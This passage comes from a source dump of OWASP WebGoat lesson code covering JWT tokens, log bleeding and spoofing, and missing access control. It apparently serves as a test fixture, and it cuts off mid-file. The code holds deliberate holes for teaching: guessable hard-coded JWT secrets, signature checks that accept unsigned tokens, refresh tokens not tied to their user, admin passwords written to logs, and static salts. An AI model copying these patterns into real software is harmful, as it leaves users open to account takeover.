MediaType.APPLICATION_JSON_VALUE) @ResponseBody public ResponseEntity follow(@RequestBody(required = false) Map json) { if (json == null) { return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); } String user = (String) json.get("user"); String password = (String) json.get("password"); if ("Jerry".equalsIgnoreCase(user) && PASSWORD.equals(password)) { return ok(createNewTokens(user)); } return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); } private Map createNewTokens(String user) { Map claims = new HashMap<>(); claims.put("admin", "false"); claims.put("user", user); String token = Jwts.builder() .setIssuedAt(new Date(System.currentTimeMillis() + TimeUnit.DAYS.toDays(10))) .setClaims(claims) .signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD) .compact(); Map tokenJson = new HashMap<>(); String refreshToken = RandomStringUtils.randomAlphabetic(20); validRefreshTokens.add(refreshToken); tokenJson.put("access_token", token); tokenJson.put("refresh_token", refreshToken); return tokenJson; } @PostMapping("/JWT/refresh/checkout") @ResponseBody public ResponseEntity checkout( @RequestHeader(value = "Authorization", required = false) String token) { if (token == null) { return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); } try { Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(token.replace("Bearer ", "")); Claims claims = (Claims) jwt.getBody(); String user = (String) claims.get("user"); if ("Tom".equals(user)) { return ok(success(this).build()); } return ok(failed(this).feedback("jwt-refresh-not-tom").feedbackArgs(user).build()); } catch (ExpiredJwtException e) { return ok(failed(this).output(e.getMessage()).build()); } catch (JwtException e) { return ok(failed(this).feedback("jwt-invalid-token").build()); } } @PostMapping("/JWT/refresh/newToken") @ResponseBody public ResponseEntity newToken( @RequestHeader(value = "Authorization", required = false) String token, @RequestBody(required = false) Map json) { if (token == null || json == null) { return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); } String user; String refreshToken; try { Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(token.replace("Bearer ", "")); user = (String) jwt.getBody().get("user"); refreshToken = (String) json.get("refresh_token"); } catch (ExpiredJwtException e) { user = (String) e.getClaims().get("user"); refreshToken = (String) json.get("refresh_token"); } if (user == null || refreshToken == null) { return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); } else if (validRefreshTokens.contains(refreshToken)) { validRefreshTokens.remove(refreshToken); return ok(createNewTokens(user)); } else { return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); } } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/jwt/JWTSecretKeyEndpoint.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.jwt; import io.jsonwebtoken.Claims; import io.jsonwebtoken.Jwt; import io.jsonwebtoken.Jwts; import io.jsonwebtoken.SignatureAlgorithm; import io.jsonwebtoken.impl.TextCodec; import java.time.Instant; import java.util.Calendar; import java.util.Date; import java.util.List; import java.util.Random; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.http.MediaType; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; /** * @author nbaars * @since 4/23/17. */ @RestController @AssignmentHints({"jwt-secret-hint1", "jwt-secret-hint2", "jwt-secret-hint3"}) public class JWTSecretKeyEndpoint extends AssignmentEndpoint { public static final String[] SECRETS = { "victory", "business", "available", "shipping", "washington" }; public static final String JWT_SECRET = TextCodec.BASE64.encode(SECRETS[new Random().nextInt(SECRETS.length)]); private static final String WEBGOAT_USER = "WebGoat"; private static final List expectedClaims = List.of("iss", "iat", "exp", "aud", "sub", "username", "Email", "Role"); @RequestMapping(path = "/JWT/secret/gettoken", produces = MediaType.TEXT_HTML_VALUE) @ResponseBody public String getSecretToken() { return Jwts.builder() .setIssuer("WebGoat Token Builder") .setAudience("webgoat.org") .setIssuedAt(Calendar.getInstance().getTime()) .setExpiration(Date.from(Instant.now().plusSeconds(60))) .setSubject("tom@webgoat.org") .claim("username", "Tom") .claim("Email", "tom@webgoat.org") .claim("Role", new String[] {"Manager", "Project Administrator"}) .signWith(SignatureAlgorithm.HS256, JWT_SECRET) .compact(); } @PostMapping("/JWT/secret") @ResponseBody public AttackResult login(@RequestParam String token) { try { Jwt jwt = Jwts.parser().setSigningKey(JWT_SECRET).parseClaimsJws(token); Claims claims = (Claims) jwt.getBody(); if (!claims.keySet().containsAll(expectedClaims)) { return failed(this).feedback("jwt-secret-claims-missing").build(); } else { String user = (String) claims.get("username"); if (WEBGOAT_USER.equalsIgnoreCase(user)) { return success(this).build(); } else { return failed(this).feedback("jwt-secret-incorrect-user").feedbackArgs(user).build(); } } } catch (Exception e) { return failed(this).feedback("jwt-invalid-token").output(e.getMessage()).build(); } } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/jwt/JWTVotesEndpoint.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.jwt; import static java.util.Comparator.comparingLong; import static java.util.Optional.ofNullable; import static java.util.stream.Collectors.toList; import io.jsonwebtoken.Claims; import io.jsonwebtoken.Jwt; import io.jsonwebtoken.JwtException; import io.jsonwebtoken.Jwts; import io.jsonwebtoken.impl.TextCodec; import java.time.Duration; import java.time.Instant; import java.util.Date; import java.util.HashMap; import java.util.Map; import javax.annotation.PostConstruct; import javax.servlet.http.Cookie; import javax.servlet.http.HttpServletResponse; import org.apache.commons.lang3.StringUtils; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.owasp.webgoat.lessons.jwt.votes.Views; import org.owasp.webgoat.lessons.jwt.votes.Vote; import org.springframework.http.HttpStatus; import org.springframework.http.MediaType; import org.springframework.http.ResponseEntity; import org.springframework.http.converter.json.MappingJacksonValue; import org.springframework.web.bind.annotation.CookieValue; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.ResponseStatus; import org.springframework.web.bind.annotation.RestController; /** * @author nbaars * @since 4/23/17. */ @RestController @AssignmentHints({ "jwt-change-token-hint1", "jwt-change-token-hint2", "jwt-change-token-hint3", "jwt-change-token-hint4", "jwt-change-token-hint5" }) public class JWTVotesEndpoint extends AssignmentEndpoint { public static final String JWT_PASSWORD = TextCodec.BASE64.encode("victory"); private static String validUsers = "TomJerrySylvester"; private static int totalVotes = 38929; private Map votes = new HashMap<>(); @PostConstruct public void initVotes() { votes.put( "Admin lost password", new Vote( "Admin lost password", "In this challenge you will need to help the admin and find the password in order to" + " login", "challenge1-small.png", "challenge1.png", 36000, totalVotes)); votes.put( "Vote for your favourite", new Vote( "Vote for your favourite", "In this challenge ...", "challenge5-small.png", "challenge5.png", 30000, totalVotes)); votes.put( "Get it for free", new Vote( "Get it for free", "The objective for this challenge is to buy a Samsung phone for free.", "challenge2-small.png", "challenge2.png", 20000, totalVotes)); votes.put( "Photo comments", new Vote( "Photo comments", "n this challenge you can comment on the photo you will need to find the flag" + " somewhere.", "challenge3-small.png", "challenge3.png", 10000, totalVotes)); } @GetMapping("/JWT/votings/login") public void login(@RequestParam("user") String user, HttpServletResponse response) { if (validUsers.contains(user)) { Claims claims = Jwts.claims().setIssuedAt(Date.from(Instant.now().plus(Duration.ofDays(10)))); claims.put("admin", "false"); claims.put("user", user); String token = Jwts.builder() .setClaims(claims) .signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD) .compact(); Cookie cookie = new Cookie("access_token", token); response.addCookie(cookie); response.setStatus(HttpStatus.OK.value()); response.setContentType(MediaType.APPLICATION_JSON_VALUE); } else { Cookie cookie = new Cookie("access_token", ""); response.addCookie(cookie); response.setStatus(HttpStatus.UNAUTHORIZED.value()); response.setContentType(MediaType.APPLICATION_JSON_VALUE); } } @GetMapping("/JWT/votings") @ResponseBody public MappingJacksonValue getVotes( @CookieValue(value = "access_token", required = false) String accessToken) { MappingJacksonValue value = new MappingJacksonValue( votes.values().stream() .sorted(comparingLong(Vote::getAverage).reversed()) .collect(toList())); if (StringUtils.isEmpty(accessToken)) { value.setSerializationView(Views.GuestView.class); } else { try { Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken); Claims claims = (Claims) jwt.getBody(); String user = (String) claims.get("user"); if ("Guest".equals(user) || !validUsers.contains(user)) { value.setSerializationView(Views.GuestView.class); } else { value.setSerializationView(Views.UserView.class); } } catch (JwtException e) { value.setSerializationView(Views.GuestView.class); } } return value; } @PostMapping(value = "/JWT/votings/{title}") @ResponseBody @ResponseStatus(HttpStatus.ACCEPTED) public ResponseEntity vote( @PathVariable String title, @CookieValue(value = "access_token", required = false) String accessToken) { if (StringUtils.isEmpty(accessToken)) { return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); } else { try { Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken); Claims claims = (Claims) jwt.getBody(); String user = (String) claims.get("user"); if (!validUsers.contains(user)) { return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); } else { ofNullable(votes.get(title)).ifPresent(v -> v.incrementNumberOfVotes(totalVotes)); return ResponseEntity.accepted().build(); } } catch (JwtException e) { return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); } } } @PostMapping("/JWT/votings") @ResponseBody public AttackResult resetVotes( @CookieValue(value = "access_token", required = false) String accessToken) { if (StringUtils.isEmpty(accessToken)) { return failed(this).feedback("jwt-invalid-token").build(); } else { try { Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken); Claims claims = (Claims) jwt.getBody(); boolean isAdmin = Boolean.valueOf(String.valueOf(claims.get("admin"))); if (!isAdmin) { return failed(this).feedback("jwt-only-admin").build(); } else { votes.values().forEach(vote -> vote.reset()); return success(this).build(); } } catch (JwtException e) { return failed(this).feedback("jwt-invalid-token").output(e.toString()).build(); } } } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/jwt/votes/Views.java ================================================ package org.owasp.webgoat.lessons.jwt.votes; /** * @author nbaars * @since 4/30/17. */ public class Views { public interface GuestView {} public interface UserView extends GuestView {} } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/jwt/votes/Vote.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.jwt.votes; import com.fasterxml.jackson.annotation.JsonView; import lombok.Getter; /** * @author nbaars * @since 5/2/17. */ @Getter public class Vote { @JsonView(Views.GuestView.class) private final String title; @JsonView(Views.GuestView.class) private final String information; @JsonView(Views.GuestView.class) private final String imageSmall; @JsonView(Views.GuestView.class) private final String imageBig; @JsonView(Views.UserView.class) private int numberOfVotes; @JsonView(Views.UserView.class) private boolean votingAllowed = true; @JsonView(Views.UserView.class) private long average = 0; public Vote( String title, String information, String imageSmall, String imageBig, int numberOfVotes, int totalVotes) { this.title = title; this.information = information; this.imageSmall = imageSmall; this.imageBig = imageBig; this.numberOfVotes = numberOfVotes; this.average = calculateStars(totalVotes); } public void incrementNumberOfVotes(int totalVotes) { this.numberOfVotes = this.numberOfVotes + 1; this.average = calculateStars(totalVotes); } public void reset() { this.numberOfVotes = 1; this.average = 1; } private long calculateStars(int totalVotes) { return Math.round(((double) numberOfVotes / (double) totalVotes) * 4); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/lessontemplate/LessonTemplate.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.lessontemplate; import org.owasp.webgoat.container.lessons.Category; import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; @Component public class LessonTemplate extends Lesson { @Override public Category getDefaultCategory() { return Category.GENERAL; } @Override public String getTitle() { return "lesson-template.title"; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/lessontemplate/SampleAttack.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.lessontemplate; import java.util.List; import lombok.AllArgsConstructor; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.owasp.webgoat.container.session.UserSessionData; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; /** Created by jason on 1/5/17. */ @RestController @AssignmentHints({"lesson-template.hints.1", "lesson-template.hints.2", "lesson-template.hints.3"}) public class SampleAttack extends AssignmentEndpoint { String secretValue = "secr37Value"; // UserSessionData is bound to session and can be used to persist data across multiple assignments @Autowired UserSessionData userSessionData; @PostMapping("/lesson-template/sample-attack") @ResponseBody public AttackResult completed( @RequestParam("param1") String param1, @RequestParam("param2") String param2) { if (userSessionData.getValue("some-value") != null) { // do any session updating you want here ... or not, just comment/example here // return failed().feedback("lesson-template.sample-attack.failure-2").build()); } // overly simple example for success. See other existing lesssons for ways to detect 'success' // or 'failure' if (secretValue.equals(param1)) { return success(this) .output("Custom Output ...if you want, for success") .feedback("lesson-template.sample-attack.success") .build(); // lesson-template.sample-attack.success is defined in // src/main/resources/i18n/WebGoatLabels.properties } // else return failed(this) .feedback("lesson-template.sample-attack.failure-2") .output( "Custom output for this failure scenario, usually html that will get rendered directly" + " ... yes, you can self-xss if you want") .build(); } @GetMapping("lesson-template/shop/{user}") @ResponseBody public List getItemsInBasket(@PathVariable("user") String user) { return List.of( new Item("WG-1", "WebGoat promo", 12.0), new Item("WG-2", "WebGoat sticker", 0.00)); } @AllArgsConstructor private class Item { private String number; private String description; private double price; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/logging/LogBleedingTask.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.logging; import java.nio.charset.StandardCharsets; import java.util.Base64; import java.util.UUID; import javax.annotation.PostConstruct; import org.apache.logging.log4j.util.Strings; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AttackResult; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController public class LogBleedingTask extends AssignmentEndpoint { Logger log = LoggerFactory.getLogger(this.getClass().getName()); private String password; @PostConstruct public void generatePassword() { password = UUID.randomUUID().toString(); log.info( "Password for admin: {}", Base64.getEncoder().encodeToString(password.getBytes(StandardCharsets.UTF_8))); } @PostMapping("/LogSpoofing/log-bleeding") @ResponseBody public AttackResult completed(@RequestParam String username, @RequestParam String password) { if (Strings.isEmpty(username) || Strings.isEmpty(password)) { return failed(this).output("Please provide username (Admin) and password").build(); } if (username.equals("Admin") && password.equals(this.password)) { return success(this).build(); } return failed(this).build(); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/logging/LogSpoofing.java ================================================ package org.owasp.webgoat.lessons.logging; import org.owasp.webgoat.container.lessons.Category; import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; /** * ************************************************************************************************ * This file is part of WebGoat, an Open Web Application Security Project utility. For details, * please see http://www.owasp.org/ * *

Copyright (c) 2002 - 2014 Bruce Mayhew * *

This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * *

You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * *

Getting Source ============== * *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository * for free software projects. * *

* * @author WebGoat * @version $Id: $Id * @since October 12, 2016 */ @Component public class LogSpoofing extends Lesson { @Override public Category getDefaultCategory() { return Category.A9; } @Override public String getTitle() { return "logging.title"; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/logging/LogSpoofingTask.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.logging; import org.apache.logging.log4j.util.Strings; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController public class LogSpoofingTask extends AssignmentEndpoint { @PostMapping("/LogSpoofing/log-spoofing") @ResponseBody public AttackResult completed(@RequestParam String username, @RequestParam String password) { if (Strings.isEmpty(username)) { return failed(this).output(username).build(); } username = username.replace("\n", "
"); if (username.contains("

") || username.contains("

")) { return failed(this).output("Try to think of something simple ").build(); } if (username.indexOf("
") < username.indexOf("admin")) { return success(this).output(username).build(); } return failed(this).output(username).build(); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/missingac/DisplayUser.java ================================================ package org.owasp.webgoat.lessons.missingac; import java.nio.charset.StandardCharsets; import java.security.MessageDigest; import java.util.Base64; import lombok.Getter; /** * ************************************************************************************************ * This file is part of WebGoat, an Open Web Application Security Project utility. For details, * please see http://www.owasp.org/ * *

Copyright (c) 2002 - 2014 Bruce Mayhew * *

This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * *

You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * *

Getting Source ============== * *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository * for free software projects. * *

*/ @Getter public class DisplayUser { // intended to provide a display version of WebGoatUser for admins to view user attributes private String username; private boolean admin; private String userHash; public DisplayUser(User user, String passwordSalt) { this.username = user.getUsername(); this.admin = user.isAdmin(); try { this.userHash = genUserHash(user.getUsername(), user.getPassword(), passwordSalt); } catch (Exception ex) { this.userHash = "Error generating user hash"; } } protected String genUserHash(String username, String password, String passwordSalt) throws Exception { MessageDigest md = MessageDigest.getInstance("SHA-256"); // salting is good, but static & too predictable ... short too for a salt String salted = password + passwordSalt + username; // md.update(salted.getBytes("UTF-8")); // Change this to "UTF-16" if needed byte[] hash = md.digest(salted.getBytes(StandardCharsets.UTF_8)); return Base64.getEncoder().encodeToString(hash); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/missingac/MissingAccessControlUserRepository.java ================================================ package org.owasp.webgoat.lessons.missingac; import java.util.List; import org.owasp.webgoat.container.LessonDataSource; import org.springframework.jdbc.core.RowMapper; import org.springframework.jdbc.core.namedparam.MapSqlParameterSource; import org.springframework.jdbc.core.namedparam.NamedParameterJdbcTemplate; import org.springframework.stereotype.Component; import org.springframework.util.CollectionUtils; @Component public class MissingAccessControlUserRepository { private final NamedParameterJdbcTemplate jdbcTemplate; private final RowMapper mapper = (rs, rowNum) -> new User(rs.getString("username"), rs.getString("password"), rs.getBoolean("admin")); public MissingAccessControlUserRepository(LessonDataSource lessonDataSource) { this.jdbcTemplate = new NamedParameterJdbcTemplate(lessonDataSource); } public List findAllUsers() { return jdbcTemplate.query("select username, password, admin from access_control_users", mapper); } public User findByUsername(String username) { var users = jdbcTemplate.query( "select username, password, admin from access_control_users where username=:username", new MapSqlParameterSource().addValue("username", username), mapper); if (CollectionUtils.isEmpty(users)) { return null; } return users.get(0); } public User save(User user) { jdbcTemplate.update( "INSERT INTO access_control_users(username, password, admin)" + " VALUES(:username,:password,:admin)", new MapSqlParameterSource() .addValue("username", user.getUsername()) .addValue("password", user.getPassword()) .addValue("admin", user.isAdmin())); return user; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionAC.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.missingac; import org.owasp.webgoat.container.lessons.Category; import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; @Component public class MissingFunctionAC extends Lesson { public static final String PASSWORD_SALT_SIMPLE = "DeliberatelyInsecure1234"; public static final String PASSWORD_SALT_ADMIN = "DeliberatelyInsecure1235"; @Override public Category getDefaultCategory() { return Category.A1; } @Override public String getTitle() { return "missing-function-access-control.title"; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACHiddenMenus.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.missingac; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; /** Created by jason on 1/5/17. */ @RestController @AssignmentHints({ "access-control.hidden-menus.hint1", "access-control.hidden-menus.hint2", "access-control.hidden-menus.hint3" }) public class MissingFunctionACHiddenMenus extends AssignmentEndpoint { @PostMapping( path = "/access-control/hidden-menu", produces = {"application/json"}) @ResponseBody public AttackResult completed(String hiddenMenu1, String hiddenMenu2) { if (hiddenMenu1.equals("Users") && hiddenMenu2.equals("Config")) { return success(this).output("").feedback("access-control.hidden-menus.success").build(); } if (hiddenMenu1.equals("Config") && hiddenMenu2.equals("Users")) { return failed(this).output("").feedback("access-control.hidden-menus.close").build(); } return failed(this).feedback("access-control.hidden-menus.failure").output("").build(); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACUsers.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.missingac; import static org.owasp.webgoat.lessons.missingac.MissingFunctionAC.PASSWORD_SALT_ADMIN; import static 